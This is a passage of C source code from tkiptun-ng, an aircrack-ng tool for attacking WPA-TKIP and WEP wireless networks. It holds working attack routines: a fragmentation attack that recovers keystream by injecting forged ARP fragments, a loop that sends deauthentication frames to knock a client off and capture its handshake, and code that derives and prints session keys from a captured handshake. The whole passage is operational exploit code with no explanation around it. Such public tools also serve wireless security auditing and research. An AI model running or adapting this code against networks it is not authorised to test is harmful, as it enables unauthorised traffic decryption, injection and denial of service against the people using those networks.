acksgot; int packets; int z; uchar *snap_header = (unsigned char*)"\xAA\xAA\x03\x00\x00\x00\x08\x00"; done = caplen = caplen2 = arplen = round = 0; prga_len = isrelay = gotit = again = length = 0; if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 ) { memset( opt.r_dmac, '\xFF', 6); opt.r_dmac[5] = 0xED; } if( memcmp( opt.r_sip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_sip, '\xFF', 4); } if( memcmp( opt.r_dip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_dip, '\xFF', 4); } PCT; printf ("Waiting for a data packet...\n"); while(!done) // { round = 0; if( capture_ask_packet( &caplen, 0 ) != 0 ) return -1; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if((unsigned)caplen > sizeof(packet) || (unsigned)caplen > sizeof(packet2)) continue; memcpy( packet2, h80211, caplen ); caplen2 = caplen; PCT; printf("Data packet found!\n"); if ( memcmp( packet2 + 4, SPANTREE, 6 ) == 0 || memcmp( packet2 + 16, SPANTREE, 6 ) == 0 ) { packet2[z+4] = ((packet2[z+4] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+5] = ((packet2[z+5] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+6] = ((packet2[z+6] ^ 0x00) ^ 0x08); //0x00 instead of 0x08 } prga_len = 7; again = RETRY; memcpy( packet, packet2, caplen2 ); caplen = caplen2; memcpy(prga, packet+z+4, prga_len); memcpy(iv, packet+z, 4); xor_keystream(prga, snap_header, prga_len); while(again == RETRY) //sending 7byte fragments { again = 0; arplen=60; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 39); arplen=63; } acksgot=0; packets=(arplen-24)/(prga_len-4); if( (arplen-24)%(prga_len-4) != 0 ) packets++; PCT; printf("Sending fragmented packet\n"); send_fragments(h80211, arplen, iv, prga, prga_len-4, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { acksgot++; } continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z < 66) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 60); if (caplen-z == 68-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 71-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 39); } if (! isrelay) { //Building expected cleartext uchar ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02"; //Ethernet & ARP header //Followed by the senders MAC and IP: memcpy(ct+16, packet+16, 6); memcpy(ct+22, opt.r_dip, 4); //And our own MAC and IP: memcpy(ct+26, opt.r_smac, 6); memcpy(ct+32, opt.r_sip, 4); //Calculating memcpy(prga, packet+z+4, 36); xor_keystream(prga, ct, 36); } else { memcpy(prga, packet+z+4, 36); xor_keystream(prga, h80211+24, 36); } memcpy(iv, packet+z, 4); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 384 bytes of a keystream\n"); arplen=408; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', arplen+8); arplen+=32; } acksgot=0; packets=(arplen-24)/(32); if( (arplen-24)%(32) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 32, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 400-24 && caplen-z < 500-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 408); if (caplen-z == 416-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 448-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 416); } memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, 384); xor_keystream(prga, h80211+24, 384); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 1500 bytes of a keystream\n"); make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 1500); arplen=1500; if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 1508); arplen+=32; } acksgot=0; packets=(arplen-24)/(300); if( (arplen-24)%(300) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 300, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 1496-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { printf("Still nothing, quitting with 384 bytes? [y/n] \n"); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) again = ABORT; else again = NEW_IV; } break; } } } if(again == NEW_IV) continue; if(again == ABORT) length = 408; else length = 1500; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, length); if (caplen == length+8+z) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen == length+16+z) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', length+8); } if(again != ABORT) { memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, length); xor_keystream(prga, h80211+24, length); } lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "fragment-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); save_prga(strbuf, iv, prga, length); printf( "Saving keystream in %s\n", strbuf ); printf("Now you can build a packet with packetforge-ng out of that %d bytes keystream\n", length); done=1; } return( 0 ); } static int get_ip_port(char *iface, char *ip, const int ip_size) { char *host; char *ptr; int port = -1; struct in_addr addr; host = strdup(iface); if (!host) return -1; ptr = strchr(host, ':'); if (!ptr) goto out; *ptr++ = 0; if (!inet_aton(host, (struct in_addr *)&addr)) goto out; /* XXX resolve hostname */ if(strlen(host) > 15) { port = -1; goto out; } strncpy(ip, host, ip_size); port = atoi(ptr); if(port <= 0) port = -1; out: free(host); return port; } int getHDSK() { int i, n; int aacks, sacks, caplen; struct timeval tv; fd_set rfds; n = 0; // usleep( 180000 ); /* deauthenticate the target */ memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); aacks = 0; sacks = 0; for( i = 0; i < 4; i++ ) { if(i == 0) { PCT; printf( "Sending 4 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.wpa.stmac[0], opt.wpa.stmac[1], opt.wpa.stmac[2], opt.wpa.stmac[3], opt.wpa.stmac[4], opt.wpa.stmac[5], sacks, aacks ); } memcpy( h80211 + 4, opt.wpa.stmac, 6 ); memcpy( h80211 + 10, opt.r_bssid, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.wpa.stmac, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 100000 ); while( 1 ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 0; tv.tv_usec = 1000; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) break; caplen = read_packet( h80211, sizeof( h80211 ), NULL ); check_received(h80211, caplen); if(caplen <= 0 ) break; if(caplen != 10) continue; if( h80211[0] == 0xD4) { if( memcmp(h80211+4, opt.wpa.stmac, 6) == 0 ) { aacks++; } if( memcmp(h80211+4, opt.r_bssid, 6) == 0 ) { sacks++; } PCT; printf( "Sending 4 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.wpa.stmac[0], opt.wpa.stmac[1], opt.wpa.stmac[2], opt.wpa.stmac[3], opt.wpa.stmac[4], opt.wpa.stmac[5], sacks, aacks ); } } } printf("\n"); return( 0 ); } int main( int argc, char *argv[] ) { int i, j, n, ret, got_hdsk; char *s, buf[128]; int caplen=0; uchar packet1[4096]; uchar packet2[4096]; int packet1_len, packet2_len; struct timeval mic_fail; /* check the arguments */ memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); opt.f_type = -1; opt.f_subtype = -1; opt.f_minlen = 80; opt.f_maxlen = 80; opt.f_minlen_set = 0; opt.f_maxlen_set = 0; opt.f_tods = -1; opt.f_fromds = -1; opt.f_iswep = -1; opt.ringbuffer = 8; opt.a_mode = -1; opt.r_fctrl = -1; opt.ghost = 0; opt.npackets = -1; opt.delay = 15; opt.bittest = 0; opt.fast = -1; opt.r_smac_set = 0; opt.npackets = 1; opt.nodetect = 0; opt.mic_failure_interval = DEFAULT_MIC_FAILURE_INTERVAL; /* XXX */ #if 0 #if defined(__FreeBSD__) /* check what is our FreeBSD version. injection works only on 7-CURRENT so abort if it's a lower version. */ if( __FreeBSD_version < 700000 ) { fprintf( stderr, "Aireplay-ng does not work on this " "release of FreeBSD.\n" ); exit( 1 ); } #endif #endif while( 1 ) { int option_index = 0; static struct option long_options[] = { {"help", 0, 0, 'H'}, {"fast", 0, 0, 'F'}, {"pmk", 1, 0, 'P'}, {"psk", 1, 0, 'p'}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'd' : if( getmac( optarg, 1, opt.f_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 's' : if( getmac( optarg, 1, opt.f_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'm' : ret = sscanf( optarg, "%d", &opt.f_minlen ); if( opt.f_minlen < 0 || ret != 1 ) { printf( "Invalid minimum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.f_minlen_set=1; break; case 'n' : ret = sscanf( optarg, "%d", &opt.f_maxlen ); if( opt.f_maxlen < 0 || ret != 1 ) { printf( "Invalid maximum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.f_maxlen_set=1; break; case 't' : ret = sscanf( optarg, "%d", &opt.f_tods ); if(( opt.f_tods != 0 && opt.f_tods != 1 ) || ret != 1 ) { printf( "Invalid tods filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'f' : ret = sscanf( optarg, "%d", &opt.f_fromds ); if(( opt.f_fromds != 0 && opt.f_fromds != 1 ) || ret != 1 ) { printf( "Invalid fromds filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'x' : ret = sscanf( optarg, "%d", &opt.r_nbpps ); if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 ) { printf( "Invalid number of packets per second. [1-1024]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( getmac( optarg, 1, opt.f_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'c' : if( getmac( optarg, 1, opt.r_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( getmac( optarg, 1, opt.wpa.stmac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.r_smac_set=1; break; case 'e' : memset( opt.r_essid, 0, sizeof( opt.r_essid ) ); strncpy( opt.r_essid, optarg, sizeof( opt.r_essid ) - 1 ); break; case 'j' : opt.r_fromdsinj = 1; break; case 'D' : opt.nodetect = 1; break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; opt.port_in = get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in)-1); break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'Z' : opt.fast = 0; break; case 'H' : printf( usage, getVersion("Tkiptun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA) ); return( 1 ); case 'K' : i = 0 ; n = 0; s = optarg; while( s[i] != '\0' ) { if ( s[i] == '-' || s[i] == ':' || s[i] == ' ') i++; else s[n++] = s[i++]; } s[n] = '\0' ; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; i = 0; j = 0; while( sscanf( buf, "%x", &n ) == 1 ) { if ( n < 0 || n > 255 ) { printf( "Invalid keystream.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.oldkeystream[opt.oldkeystreamlen] = n ; opt.oldkeystreamlen++; if( i >= 64 ) break; s += 2; buf[0] = s[0]; buf[1] = s[1]; } break; case 'P' : memset( opt.pmk, 0, sizeof( opt.pmk ) ); i = hexStringToHex(optarg, strlen(optarg), opt.pmk); opt.got_pmk = 1; break; case 'p' : memset( opt.psk, 0, sizeof( opt.psk ) ); if( strlen(optarg) < 8 || strlen(optarg) > 63) { printf("PSK with invalid length specified [8-64].\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } strncpy( opt.psk, optarg, sizeof( opt.psk ) - 1 ); opt.got_psk = 1; break; case 'M' : ret = sscanf( optarg, "%d", &opt.mic_failure_interval ); if( opt.mic_failure_interval < 0 ) { printf( "Invalid MIC error timeout. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Tkiptun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( !opt.r_smac_set ) { printf( "A Client MAC must be specified (-h).\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( (opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen ) { printf( "Invalid length filter (min(-m):%d > max(-n):%d).\n", opt.f_minlen, opt.f_maxlen ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if ( opt.f_tods == 1 && opt.f_fromds == 1 ) { printf( "FromDS and ToDS bit are set: packet has to come from the AP and go to the AP\n" ); } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) ) { dev.fd_rtc = 0; } if(dev.fd_rtc > 0) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } #endif /* linux */ #endif /* i386 */ opt.iface_out = argv[optind]; opt.port_out = get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out)-1); //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_out >= 0 ) ) { /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_in >= 0 ) ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); } /* drop privileges */ setuid( getuid() ); /* XXX */ if( opt.r_nbpps == 0 ) { opt.r_nbpps = 10; } if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } //if there is no -h given, use default hardware mac if( maccmp( opt.r_smac, NULL_MAC) == 0 ) { memcpy( opt.r_smac, dev.mac_out, 6); if(opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9) { printf("No source MAC (-h) specified. Using the device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5]); } } if( maccmp( opt.r_smac, dev.mac_out) != 0 && maccmp( opt.r_smac, NULL_MAC) != 0) { // if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment to work on madwifi[-ng], set the interface MAC according to (-h)!\n"); fprintf( stderr, "The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)" " doesn't match the specified MAC (-h).\n" "\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5], opt.iface_out, opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] ); } /* DO MICHAEL TEST */ memset(buf, 0, 128); memcpy(buf, "M", 1); i = michael_test((unsigned char*)"\x82\x92\x5c\x1c\xa1\xd1\x30\xb8", (unsigned char*)buf, strlen(buf), (unsigned char*)"\x43\x47\x21\xca\x40\x63\x9b\x3f"); PCT; printf("Michael Test: %s\n", i ? "Successful" : "Failed"); /* END MICHAEL TEST*/ if(getnet(NULL, 0, 0) != 0) return 1; PCT; printf("Found specified AP\n"); got_hdsk=0; while(1) { getHDSK(); for(i=0; i<10; i++) { read_sleep(500000); if(opt.wpa.state == 7) { got_hdsk = 1; break; } } if(got_hdsk) break; } if(!opt.got_pmk && opt.got_psk && strlen(opt.r_essid) > 1) { calc_pmk(opt.psk, opt.r_essid, opt.pmk); PCT; printf("PSK: %s\n", opt.psk); PCT; printf("PMK: "); for(i=0; i<31; i++) printf("%02X:", opt.pmk[i]); printf("%02X\n", opt.pmk[31]); opt.got_pmk = 1; } if(opt.got_pmk) { opt.wpa_sta.next = NULL; memcpy(opt.wpa_sta.stmac, opt.r_smac, 6); memcpy(opt.wpa_sta.bssid, opt.f_bssid, 6); memcpy(opt.wpa_sta.snonce, opt.wpa.snonce, 32); memcpy(opt.wpa_sta.anonce, opt.wpa.anonce, 32); memcpy(opt.wpa_sta.keymic, opt.wpa.keymic, 20); memcpy(opt.wpa_sta.eapol, opt.wpa.eapol, 256); opt.wpa_sta.eapol_size = opt.wpa.eapol_size; opt.wpa_sta.keyver = opt.wpa.keyver; opt.wpa_sta.valid_ptk = calc_ptk( &opt.wpa_sta, opt.pmk ); PCT; printf("PTK: "); for(i=0; i<79; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[79]); PCT; printf("Valid PTK: %s\n", (opt.wpa_sta.valid_ptk) ? "Yes" : "No!" ); if(opt.wpa_sta.valid_ptk) opt.got_ptk = 1; PCT; printf("KCK: "); for(i=0; i<15; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[15]); PCT; printf("KEK: "); for(i=16; i<31; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[31]); PCT; printf("Temporal Encryption Key (TK1): "); for(i=32; i<47; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[47]); PCT; printf("Michael Key (FromDS): "); for(i=48; i<55; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[55]); PCT; printf("Michael Key (ToDS): "); for(i=56; i<63; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[63]); } /* Select ToDS ARP from Client */ PCT; printf("Waiting for an ARP packet coming from the Client...\n"); opt.f_tods = 1; opt.f_fromds = 0; memcpy(opt.f_smac, opt.r_smac, 6); // memcpy(opt.f_dmac, opt.f_bssid, 6); if(opt.fast == -1) opt.fast = 1; if(opt.f_minlen_set == 0) { opt.f_minlen = 80; } if(opt.f_maxlen_set == 0) { opt.f_maxlen = 80; } while(1) { if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); if( is_qos_arp_tkip(h80211, caplen) == 1 ) break; } memcpy(packet2, h80211, caplen); packet2_len = caplen; /* Select FromDS ARP to Client */ PCT; printf("Waiting for an ARP response packet coming from the AP...\n"); opt.f_tods = 0; opt.f_fromds = 1; memcpy(opt.f_dmac, opt.r_smac, 6); memcpy(opt.f_smac, NULL_MAC, 6); if(opt.f_minlen_set == 0) { opt.f_minlen = 80; } if(opt.f_maxlen_set == 0) { opt.f_maxlen = 98; } while(1) { if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); if( is_qos_arp_tkip(h80211, caplen) == 1 ) break; } memcpy(packet1, h80211, caplen); packet1_len = caplen; PCT; printf("Got the answer!\n"); PCT; printf("Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.\n"); read_sleep(10*1000000); memcpy(h80211, packet1, packet1_len); /* Chop the packet down, get a keystream+plaintext, calculate the MIC 